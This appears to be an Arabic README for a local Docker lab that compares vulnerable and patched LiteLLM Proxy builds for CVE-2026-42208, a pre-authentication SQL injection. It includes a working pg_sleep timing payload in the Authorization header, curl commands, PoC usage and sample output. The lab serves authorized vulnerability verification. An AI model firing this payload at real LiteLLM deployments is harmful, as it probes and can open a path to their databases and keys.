
# مختبر Docker محلي وإثبات مفهوم قائم على التوقيت لـ CVE-2026-42208، حقن SQL قبل المصادقة في LiteLLM Proxy، يوضح الحالات الضعيفة مقابل المُصححة.
مختبر Docker محلي وإثبات مفهوم بأقل ضرر لـ CVE-2026-42208، وهي ثغرة حقن SQL قبل المصادقة في مسار التحقق من مفتاح API في LiteLLM Proxy.
يوضح هذا المستودع الفرق بين نسخة LiteLLM المعرضة للثغرة ونسخة LiteLLM المصححة باستخدام إثبات زمني يعتمد على pg_sleep() في PostgreSQL.
النطاق: مختبر محلي / اختبار مصرح به فقط. إثبات المفهوم الافتراضي لا يقوم بتفريغ بيانات قاعدة البيانات ولا يعدّل بيانات قاعدة البيانات.
تؤثر CVE-2026-42208 على إصدارات LiteLLM Proxy من 1.81.16 حتى الإصدارات السابقة لـ 1.83.7.
يتم تفعيل الثغرة من خلال رأس Authorization: Bearer ... مخصص يُرسل إلى نقطة نهاية API في LiteLLM. في الإصدارات المتأثرة، يمكن أن يصل الرمز المقدم من المتصل إلى مسار استعلام SQL أثناء التحقق من مفتاح API.
يقارن هذا المختبر بين:
| الخدمة | الإصدار | الرابط | النتيجة المتوقعة |
|---|
vuln | v1.83.6-nightly | http://127.0.0.1:8081 | استجابة 401 متأخرة |
patched | v1.83.7-stable | http://127.0.0.1:8082 | استجابة 401 سريعة |
يستخدم الإثبات حمولة مشابهة لما يلي:
' OR (SELECT pg_sleep(6)) IS NULL --
يجب أن تعيد كلتا الخدمتين HTTP 401، لكن يجب أن تستغرق النسخة المعرضة للثغرة حوالي 6 ثوانٍ للاستجابة بينما يجب أن تستجيب النسخة المصححة بسرعة.
.
├── docker-compose.yml
├── vuln/
│ ├── Dockerfile
│ └── config.yaml
├── patched/
│ ├── Dockerfile
│ └── config.yaml
├── poc/
│ └── poc.py
├── README.md
└── .gitignore
localhost:8081 -> LiteLLM المعرض للثغرة -> PostgreSQL db-vuln
localhost:8082 -> LiteLLM المصحح -> PostgreSQL db-patched
خدمات PostgreSQL هي خدمات Docker داخلية ولا يتم كشفها للمضيف.
يتم كشف منافذ HTTP الخاصة بـ LiteLLM فقط:
| منفذ المضيف | الخدمة | منفذ الحاوية |
|---|---|---|
8081 | LiteLLM المعرض للثغرة | 4000 |
8082 | LiteLLM المصحح | 4000 |
docker compose up -d --build
تحقق من حالة الخدمات:
docker compose ps
الحالة المتوقعة:
db-vuln healthy
db-patched healthy
vuln healthy
patched healthy
اختبار النسخة المعرضة للثغرة:
python3 poc/poc.py --url http://127.0.0.1:8081
اختبار النسخة المصححة:
python3 poc/poc.py --url http://127.0.0.1:8082
--url رابط الأساس المستهدف
--path مسار API للاختبار. الافتراضي: /v1/chat/completions
--sleep الثواني لـ pg_sleep(). الافتراضي: 6
--rounds عدد جولات الفحص. الافتراضي: 2
أمثلة:
python3 poc/poc.py --url http://127.0.0.1:8081 --sleep 3 --rounds 2
python3 poc/poc.py --url http://127.0.0.1:8081 --path /chat/completions
النسخة المعرضة للثغرة:
[*] target=http://127.0.0.1:8081
[*] path=/v1/chat/completions
[*] sleep=6
[*] rounds=2
[*] Running baseline request
[baseline] status=401 elapsed=0.041s body='...'
[*] Running timing probes
[probe] round=1 status=401 elapsed=6.048s body='...'
[probe] round=2 status=401 elapsed=6.033s body='...'
[*] Verdict
baseline=0.041s
probe_median=6.040s
delta=5.999s
result=LIKELY VULNERABLE
reason=crafted Authorization header caused a timing delay consistent with SQL evaluation
النسخة المصححة:
[*] target=http://127.0.0.1:8082
[*] path=/v1/chat/completions
[*] sleep=6
[*] rounds=2
[*] Running baseline request
[baseline] status=401 elapsed=0.025s body='...'
[*] Running timing probes
[probe] round=1 status=401 elapsed=0.030s body='...'
[probe] round=2 status=401 elapsed=0.013s body='...'
[*] Verdict
baseline=0.025s
probe_median=0.021s
delta=-0.004s
result=LIKELY PATCHED_OR_NOT_TRIGGERED
reason=no meaningful timing difference observed
مثال على نتيجة من هذا المختبر:
[probe] vuln round=1 status=401 elapsed=6.048s
[probe] vuln round=2 status=401 elapsed=6.033s
[probe] patched round=1 status=401 elapsed=0.030s
[probe] patched round=2 status=401 elapsed=0.013s
vuln: LIKELY VULNERABLE timing median=6.040s
patched: LIKELY PATCHED/NOT TRIGGERED timing median=0.021s
الملاحظة المهمة هي أن كلتا الخدمتين تعيدان 401، لكن الخدمة المعرضة للثغرة فقط تتأخر لمدة تقارب مدة pg_sleep().
يستخدم هذا المستودع إثباتًا زمنيًا لأنه أكثر أمانًا من استخراج البيانات.
يثبت إثبات المفهوم أن تعبير SQL المحقون يتم تقييمه من خلال ملاحظة تأخير الاستجابة. لا يحاول تفريغ صفوف قاعدة البيانات، أو استخراج مفاتيح API، أو تعديل السجلات، أو تجاوز المصادقة.
الخدمة المعرضة للثغرة:
time curl -sS -o /dev/null -w '%{http_code}\n' \
-X POST http://127.0.0.1:8081/v1/chat/completions \
-H "Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL --" \
-H "Content-Type: application/json" \
-d '{"model":"local-dummy","messages":[{"role":"user","content":"x"}]}'
الخدمة المصححة:
time curl -sS -o /dev/null -w '%{http_code}\n' \
-X POST http://127.0.0.1:8082/v1/chat/completions \
-H "Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL --" \
-H "Content-Type: application/json" \
-d '{"model":"local-dummy","messages":[{"role":"user","content":"x"}]}'
السلوك المتوقع:
vulnerable -> حوالي 6 ثوانٍ
patched -> استجابة شبه فورية
docker compose down -v
يزيل هذا الحاويات والشبكة وأحجام PostgreSQL.
هذا المختبر مخصص للاختبار المحلي والمصرح به فقط.
لا تقم بتشغيل إثبات المفهوم ضد أنظمة لا تملكها أو ليس لديك إذن لاختبارها.
لا تستخدم مفاتيح API حقيقية من مزودين أو بيانات اعتماد LiteLLM للإنتاج في هذا المختبر.
يتجنب إثبات المفهوم الافتراضي السلوك التدميري ولا يستخرج محتويات قاعدة البيانات.